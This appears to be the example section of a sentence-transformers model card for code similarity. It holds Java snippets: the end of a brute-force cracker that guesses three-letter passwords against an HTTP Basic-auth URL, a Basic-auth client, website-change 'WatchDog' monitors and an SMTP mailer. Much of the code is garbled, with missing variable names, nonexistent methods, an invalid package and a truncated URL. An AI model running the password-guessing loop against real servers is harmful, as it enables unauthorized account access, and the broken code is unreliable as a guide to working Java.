      date.setTime(System.currentTimeMillis());
      System.out.print("End time is: ");
      System.out.println(date.toString());
      System.exit(0);
    }

    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = upperCase[i] + upperCase[j] + lowerCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

    if  (wrongPass == 'N')
    {
      date.setTime(System.currentTimeMillis());
      System.out.print("End time is: ");
      System.out.println(date.toString());
      System.exit(0);
    }

    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = upperCase[i] + lowerCase[j] + upperCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

    if  (wrongPass == 'N')
    {
      date.setTime(System.currentTimeMillis());
      System.out.print("End time is: ");
      System.out.println(date.toString());
      System.exit(0);
    }

    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = upperCase[i] + lowerCase[j] + lowerCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

    if  (wrongPass == 'N')
    {
      date.setTime(System.currentTimeMillis());
      System.out.print("End time is: ");
      System.out.println(date.toString());
      System.exit(0);
    }

    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = lowerCase[i] + upperCase[j] + upperCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

    if  (wrongPass == 'N')
    {
      date.setTime(System.currentTimeMillis());
      System.out.print("End time is: ");
      System.out.println(date.toString());
      System.exit(0);
    }

    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = lowerCase[i] + upperCase[j] + lowerCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

    if  (wrongPass == 'N')
    {
      date.setTime(System.currentTimeMillis());
      System.out.print("End time is: ");
      System.out.println(date.toString());
      System.exit(0);
    }

    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = lowerCase[i] + lowerCase[j] + upperCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

    date.setTime(System.currentTimeMillis());
    System.out.print("End time is: ");
    System.out.println(date.toString());

  }

  private void getEncoded(String userName, String password){
    userPassword = userName + ":" + password;
    base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
  }

}
, source_sentence: 
package java.httputils;

import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.sql.Timestamp;


public class BasicAuthHttpRequest extends HttpRequestClient
{
    String userName;
    String password;
    
    protected BasicAuthHttpRequest(String url, String userName, String password)
        throws MalformedURLException, IOException
    {
        setPassword(password);
        setUserName(userName);
        setServerURL(new URL(url));
        
        setStart(new Timestamp(System.currentTimeMillis()));

        String userPassword = userName + ":" + password;

        
        String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());

       

       setHttpConnection(
        (HttpURLConnection)this.getServerURL().openConnection());

        
        getHttpConnection().setRequestProperty ("Authorization", " " + encoding);
        doRequest();
    }

    
    protected BasicAuthHttpRequest(String url)
        throws MalformedURLException, IOException
    {
        super(url);
    }

    
    public BasicAuthHttpRequest()
    {
        super();
    }


    
    public String getPassword()
    {
        return password;
    }

    
    public String getUserName()
    {
        return userName;
    }

    
    public void setPassword(String string)
    {
        password = string;
    }

    
    public void setUserName(String string)
    {
        userName = string;
    }

    public static void main (String[] args)
    {
        BasicAuthHttpRequest client = null;
        try
        {
            client = new BasicAuthHttpRequest(args[0], args[1], args[2]);
        }
        catch (MalformedURLException e)
        {
            e.printStackTrace();
        }
        catch (IOException e)
        {
            e.printStackTrace();
        }
        finally
        {
            if (client != null && client.getCode() != HttpURLConnection.HTTP_UNAUTHORIZED)
            {
                System.out.println(
                    "Request response : \n" + client.getCode());


                System.out.println(
                    "Request processing time (milliseconds): " +
                    (client.getEnd().getTime() - client.getStart().getTime()));

                System.out.println(
                    "Request content: \n" + client.getContent());
            }
            else
            {
                System.out.println(
                    "Request response : \n" + client.getCode());


            }
        }
    }
}

sentences: import java.io.*;
import java.net.*;
import java.security.*;
import java.math.*;
import java.*;
import java.util.*;


public class WatchDog
{
    public static FileWriter out = null, output = null;

    public static void main (String args[]) throws Exception {
	Socket socket = null;
	DataOutputStream  = null;
	BufferedReader bf = null, fr = null;
	String retVal = null, StatusCode = "HTTP/1.1 200 OK";
    int dirty = 0, count = 0;

         stime = System.currentTimeMillis();
        System.out.println("Detecting the changes...");

        try {

	        
            URL yahoo = new URL("http://www.cs.rmit.edu./students/");
            URLConnection yc = yahoo.openConnection();

            
            BufferedReader in = new BufferedReader(
                                    new InputStreamReader(
                                    yc.getInputStream()));

            String inputLine;
            try {
                out = new FileWriter("newstudent");
                while ((inputLine = in.readLine()) != null){
                        out.write(inputLine + "\n");
                }
            } catch (IOException ex) {
                ex.printStackTrace();
            }
            in.print();
            out.print();

            dirty = diff();
            if (dirty == 1){
               sendMail();
               System.out.println("Changes detected and email sent!");
            }

            if (diffimages() == 1){
               sendMail();
               System.out.println("Images modification detected and email sent!");
            }

            updatePage();
            System.out.println("** End of WatchDog checking **");

            } catch (Exception ex) {
              ex.printStackTrace();
            }
    }

    public static int diff()
    {
       int update = 0;

       try{
           Process process = Runtime.getRuntime().exec("diff -b RMITCSStudent newstudent");
           BufferedReader pr = new BufferedReader(
                                   new InputStreamReader(
                                   process.getInputStream()));

           output = new FileWriter("output");
           String inputLine;
           while ((inputLine = pr.readLine()) != null){
                 output.write(inputLine + "\n");
                 update = 1;
           }
           output.promt();

       }catch (Exception ex){
              ex.printStackTrace();
       }
       return update;
    }

    public static int diffimages()
    {
       int update = 0;
       String image;

       try{
           Process primages = Runtime.getRuntime().exec("./images.sh");
           wait(1);
           File imageFile = new File("imagesname");
           BufferedReader fr = new BufferedReader(new FileReader(imageFile));

           output = new FileWriter("output");
           while ((image = fr.readLine()) != null) {
                 primages = Runtime.getRuntime().exec("diff " + image + " o"+image);
                 BufferedReader pr = new BufferedReader(
                                       new InputStreamReader(
                                       primages.getInputStream()));

                 String inputLine;
                 while ((inputLine = pr.readLine()) != null){
                       output.write(inputLine + "\n");
                       update = 1;
                 }
           }
           output.print();
           fr.close();

       }catch (Exception ex){
              ex.printStackTrace();
       }
       return update;
    }

    public static void sendMail()
    {
       try{
           Process mailprocess = Runtime.getRuntime().exec("./email.sh");
       }catch (Exception ex){
           ex.printStackTrace();
       }
    }

    public static void updatePage()
    {
       String image;

       try{
           Process updateprocess = Runtime.getRuntime().exec("cp newstudent RMITCSStudent");
           Process deleteprocess = Runtime.getRuntime().exec("rm newstudent");

           File inputFile = new File("imagesname");
           BufferedReader fr = new BufferedReader(new FileReader(inputFile));
           while ((image = fr.readLine()) != null) {
                 updateprocess = Runtime.getRuntime().exec("cp " + image + " o" + image);
                 deleteprocess = Runtime.getRuntime().exec("rm " + image);
           }
           fr.close();
       }catch (Exception ex){
           ex.printStackTrace();
       }
    }

    public static void wait(int time){
	   int timer, times;
	   timer = System.currentTimeMillis();
	   times = (time * 1000) + timer;

	   while(timer < times)
			timer = System.currentTimeMillis();
	}
}, import java.net.*;
import java.io.*;


public class EmailClient
{
	private String sender, recipient, hostName;

	public EmailClient(String nSender, String nRecipient, String nHost)
	{
		sender = nSender;
		recipient = nRecipient;
		hostName = nHost;
	}

	public void sendMail(String subject, String message)
	{
		try
		{
			Socket s1=null;
			InputStream	is = null;
			OutputStream os = null;

			DataOutputStream  = null;

			s1 = new Socket(hostName,25);
			is = s1.getInputStream();
			os = s1.getOutputStream();

			bd = new DataOutputStream(os);

			BufferedReader response = new BufferedReader(new InputStreamReader(is));

			bd.writeBytes("HELO "+ InetAddress.getLocalHost().getHostName() + "\r\n");

			waitForSuccessResponse(response);

			bd.writeBytes("MAIL FROM:"+sender+"\n");

			waitForSuccessResponse(response);

			bd.writeBytes("RCPT :"+recipient+"\n");

			waitForSuccessResponse(response);

			bd.writeBytes("data"+"\n");

			bd.writeBytes("Subject:"+subject+"\n");

			bd.writeBytes(message+"\n.\n");

			waitForSuccessResponse(response);
		}

		catch (UnknownHostException badUrl)
		{
			System.out.println("Host unknown.");
		}

		catch (EOFException eof)
		{
			System.out.println("<EOF>");
		}
		catch (Exception e)
		{
			System.out.println("got exception: "+e);
		}
	}

	private static void	waitForSuccessResponse(BufferedReader response) throws IOException
	{
		String rsp;
		boolean r250 = false;

		while( ! r250 )
		{
			rsp = response.readLine().trim();

			if(rsp.startsWith("250"))
				r250 = true;
		}

	}
}, 

import java.io.*;
import java.*;
import java.net.*;
import java.util.*;

public class WatchDog {
 public static void  main (String[] args) throws IOException {
  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));
   try{
     twentyfourhours = 86400000;
    Timer timer = new Timer();
    final Runtime rt = Runtime.getRuntime();

    try{
     Process wg1 = rt.exec("./.sh");
     wg1.waitFor();
    }
    catch(InterruptedException e ){
     System.err.println();
     e.printStackTrace();
    }

    class RepeatTask extends TimerTask{
     public void run(){
      try{
       Process wg2 = rt.exec("./task.sh");
       wg2.waitFor();
       FileReader fr = new FileReader("check.txt");
       BufferedReader bufr = new BufferedReader(fr);
       String check = bufr.readLine();
       if(check.equals(".txt: FAILED")) {
        Process difftosend = rt.exec("./diff.sh");
        difftosend.waitFor();
        Process reset = rt.exec("./.sh");
        reset.waitFor();
       }
       FileReader fr2 = new FileReader("imgdiffs.txt");
       BufferedReader bufr2 = new BufferedReader(fr2);
       String imdiff = bufr2.readLine();
       if(imdiff != null){
        Process imdifftosend = rt.exec("./img.sh");
        imdifftosend.waitFor();
        Process reset = rt.exec("./.sh");
        reset.waitFor();
       }
      }
   catch(InterruptedException e){System.err.println();e.printStackTrace();}
      catch(IOException e){
       System.err.println(e);
       e.printStackTrace();
      }
    }}

    timer.scheduleAtFixedRate(new RepeatTask(),twentyfourhours,twentyfourhours);
    
   }
   catch(IOException e){
    System.err.println(e);
    e.printStackTrace();
   }
   
}}

pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 0 | All-time downloads: 12
Created: 2025-06-11 12:52:14